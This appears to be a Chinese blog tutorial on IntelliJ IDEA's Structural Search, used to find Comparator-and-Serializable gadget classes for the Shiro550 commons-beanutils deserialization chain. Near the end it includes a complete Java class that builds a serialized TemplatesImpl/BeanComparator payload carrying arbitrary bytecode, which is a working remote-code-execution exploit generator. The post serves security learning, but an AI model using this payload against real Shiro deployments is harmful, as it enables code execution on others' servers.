Featured image of post IDEA Structural Search

IDEA Structural Search

Study IDEA Structural Search

Before All

在笔者学习Java反序列化链的时候,时常会碰到寻找合适类的问题,例如在学习Shiro550 CB链时,需要寻找一个类,需要同时满足3个条件:

  1. 实现了java.io.Serializable接口;
  2. 实现了java.util.Comparator接口;
  3. Javashirocommons-beanutils自带,且兼容性强;

条件清楚,需要寻找的时候却犯了难:

在没有找到IDEA结构查询功能前,IDEA自带的"继承解析"并不支持交叉寻找。

(如果可以的话本文可能就是小丑了)

如下图(114个类)

image-20250417193748093

作为新手入坑Java反序列化,总是想自己动动脑子的

师傅们给出的类可行,那么在当前依赖的环境下有多少类可行呢?

如果想要自己寻找,免不了挨个挨个看,必须进入类,进入类之后但是如例子中所示,114Comparator接口类光是实现了Serializable接口的类,上帝视角来看,也才13个,挨个查找将很快耗尽一个拥有灵活思维的新手的耐心吧,笔者耐心这么少吗

目前能搜到的解决方案包括CodeQL,Tabby;但是CodeQL目前的参考文章属实不多,折腾一天之后再看Tabby,感觉时间全部浪费了,也没学到有用的(想学的)东西

而且CodeQL不能连带着项目和依赖一起查询(默认情况下),Tabby(没用不过不知道,不过好像是要打包为fatJAR)

偶然的机会了解到IDEA Structural Search,感觉蛮有用的,但是网上好像没有什么中英文教程(除了官网)

于是写点东西来给大家抛砖引玉

Why IDEA Structural Search

  1. CodeQL,Tabby 太重量级,学习成本不低
  2. 相对于Find in Files进行简单的正则匹配,Structural Search提供类解析的能力
  3. 可能有其他的好处吧,还没有深度使用

For Example

例如你想要搜索的是

1
2
class XXX implements abcdABC
// abcdABC which is java.util.abcdABC

但是也同时存在接口类java.io.abcdABC,导致存在类

1
2
class XXX implements abcdABC
// abcdABC which is java.io.abcdABC

Find in Files的情况下:

  1. 仅仅匹配implements abcdABC的话,结果中存在误匹配的类

  2. 再正则匹配一下

    1
    2
    3
    
    import java.util.abcdABC;
    .........
    class XXX implements abcdABC
    

    如果此时存在implements java.util.abcdABC,又会漏掉

此时非要使用Find in Files,要么接受漏掉的类,要编写复杂的正则匹配

Where is IDEA Structural Search

笔者使用IDEA版本为 IntelliJ IDEA 2024.3.1.1 (Ultimate Edition)

版本过老的话可能会有所不同,不过目前的官方教程是最新版的教程,所以默认读者是最新版喔

功能位置如图所示

image-20250417195434893

打开后如下图

image-20250418100726592

How to use it?

进入正题了

Taste the Magic

搜索一个类,同时实现了下面两个接口

1
2
import com.sun.glass.ui.delegate.MenuDelegate;
import com.sun.glass.ui.delegate.MenuItemDelegate;

GIF FYI,如果模糊可以保存之后本地看

动画

可以看到找到的都是符合条件的

只做功能的基本介绍

image-20250418110901883

先介绍左边的Menu的功能

保存草稿的地方,在这里你可以尽情进行尝试

每次开始Find搜索的时候,你所使用的模版会在这里进行保存

如果一个模版你想要保存,后续可以在很多项目中使用的话,点击左上角的the Save Template button图标,选择第一个Save Template in IDE or Project...

定义Template的名字,并且选择是否保存到项目文件中以便通过VCS进行同步

image-20250418112317941

保存后,就会存在于Saved Template目录了

image-20250418113624452

  • 这里是学习的重点,如果需要探索相关用法且本文没有提及的话,请善用这些目录内的子项

其他的目录中包含了很多官方给出的简单示例,包含很多用法,本文的主要学习也依赖于此

Editor Area

  • 重点1

所有在Editor Area合法的匹配模版都会在当前打开文件尝试匹配一次,如图

image-20250418141537869

该模版匹配的是任意方法的调用,可以看到左侧绿色部分是当前文件的匹配结果(无需点击查找,自动且实时匹配)

这个可以很方便学习模版匹配模版编写检查

  • 重点2

如果需要在依赖中搜索,Maven项目需要下载源码Documentation

如果需要在依赖中搜索,Maven项目需要下载源码Documentation

如果需要在依赖中搜索,Maven项目需要下载源码Documentation

image-20250418142610638

Template 框架

你可以在这里输入你创建好的基本模版,例如下面这一些**Template框架**

1
enum $Enum$ {}
1
2
3
class $Class$ {
  $FieldType$ $Field$ = $Init$;
}
1
2
3
class $Class$ {
  class $InnerClass$ {}
}

Template 变量

这里的$AAA$是**Template变量**,或者说可以进行模糊匹配的地方

变量名没有要求,所以

1
2
3
class $Class$ {
  class $InnerClass$ {}
}

可以写为

1
2
3
class $A$ {
    class $B$ {}
}

这样写是没有问题的

Template 过滤器

  • 这里是重点

但是一般来说,只有基本的Template框架配合一些变量,也只达到正则匹配的低配版,核心的部分在于**Template过滤器**

双击变量,选中后点击右上角的1图标,可以进入下图,点击加号可以添加过滤规则

官方写的是Modifier,我理解是修饰语,用于给变量做限定。但面向小白,翻译为了过滤规则

image-20250418131841946

关于过滤器与过滤规则你需要知道:

  • 过滤规则是针对变量或者变量的组合来进行编辑的
  • 所有的过滤规则组成了该变量的过滤器
  • 不同种类的变量可以添加的过滤规则种类不一定相同
  • 变量的种类取决于该变量在Template框架中的位置(也就是按照Java语法来解析AST以确认他的类型)

过滤规则包含以下几类

Text

image-20250418133952823

  1. 可以用以确认该变量的类型,可以是全限定类名或者Object(目前官方给出的) image-20250418135252347Object示例 image-20250418135859872
  2. 可以用以确认该变量的字符串匹配(支持正则表达式image-20250418134915900
Within type hierarchy

选择 Within type hierarchy 选项,可以将间接实现 XXX 的类包含在搜索中。如果未选择此选项,则仅包含直接实现 Cloneable 的类。

所以一般来说建议开启

Count

用于计数,可以看指定变量出现了多少次

注意,包含默认次数,有些变量类型的默认次数为Unlimited

不符合要求会报错提示

image-20250418140508942

示例:

image-20250418140529617

不指定参数数量的方法搜索

Reference

这个就很高级了,我这里给出官方案例的演示吧

首先匹配任意方法调用

image-20250418141747854

再给$MethodCall$添加过滤条件,为注解过的函数

image-20250418141842220

搜索结果如下

image-20250418142403282

Invert modifier

反转选择,否定

在上方的例子中,如果选择了Annotated methods,再开启此选项,匹配的是没有注解的任意方法

Script

给个例子感受一下

  • 例如需要找指定类类中所有方法,该变量不是接口类,不是枚举类,不是记录类~~?~~

image-20250418114603971

1
!__context__.interface && !__context__.enum && !__context__.record

至于有哪些可用的,可能需要参考GroovyScript

image-20250418143540870

Type

可用指定变量的类型

  • 如果一个变量可同时使用TypeText进行过滤,此时Text只用作目标字符串的匹配(可以使用正则表达式)

image-20250418143931255

Bar Under the Editor Area

这一块的功能解析

image-20250418144640571

Target

选择要匹配的对象,GIF FYI

2025年4月18日145426

Injected code

如果选中此项,注入的代码(例如注入到HTML代码中的JavaScript,或Java中的SQL注入)将成为搜索过程的一部分。

Match case

大小写匹配

Scan Scope

扫描范围的限制,分为

  • In Project:在当前项目中扫描
  • Module:指定模块进行扫描(比In Project精细)
  • Directory:指定扫描目录
  • Scope:更精细的控制(可以设置添加远程地址) image-20250418145919547

Practical Cases

需求如这里

Tamplate如下

1
2
class $A$ implements $Interface1$,$Interface2$ {
}

$Interface1$:text = java\.util\.Comparator (Within type hierarchy)

$Interface2$:text = java\.io\.Serializable (Within type hierarchy)

下图为使用结果,经过简单的筛选之后就只剩下13个了,很有帮助 至少留下来的都是符合基本要求的

image-20250417200311357

可以看到上图中包含了在Shiro550 CB链中,师傅们提到用到的BeanComparator,P神用的CaseInsensitiveComparator,还有其他的合适的类

初步尝试,第一个也是OK的,下方代码33行最后

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.BooleanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Properties;

public class MyCommonsBeanutils1Shiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


        final BeanComparator comparator = new BeanComparator("class");
        Comparator booleanComparator = new BooleanComparator(true);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, booleanComparator);
        priorityQueue.add(true);
        priorityQueue.add(false);

        setFieldValue(priorityQueue, "comparator", comparator);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(comparator, "comparator", new AttrCompare());
        setFieldValue(priorityQueue, "queue", new Object[]{obj,obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr.toByteArray();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

When to use it

  • 接口实现交叉查询单接口查询时需要排查的数量过多
  • 且有明确的筛选条件去查询对象
  • 最好有比较固定格式(查询代码的话可能需要很精细地设置Tamplate) 格式越固定,Tamplate设置越简单

After All

  • 因为还没有很深度地使用,所以存在错误恳请纠正
  • 改工具还提供代码替换的功能

After After All

  • 师傅们带带我

Ref

https://www.jetbrains.com/help/idea/structural-search-and-replace.html

https://www.jetbrains.com/help/idea/search-templates.htmls

Dan❤Anan
Built with Hugo
主题 StackJimmy 设计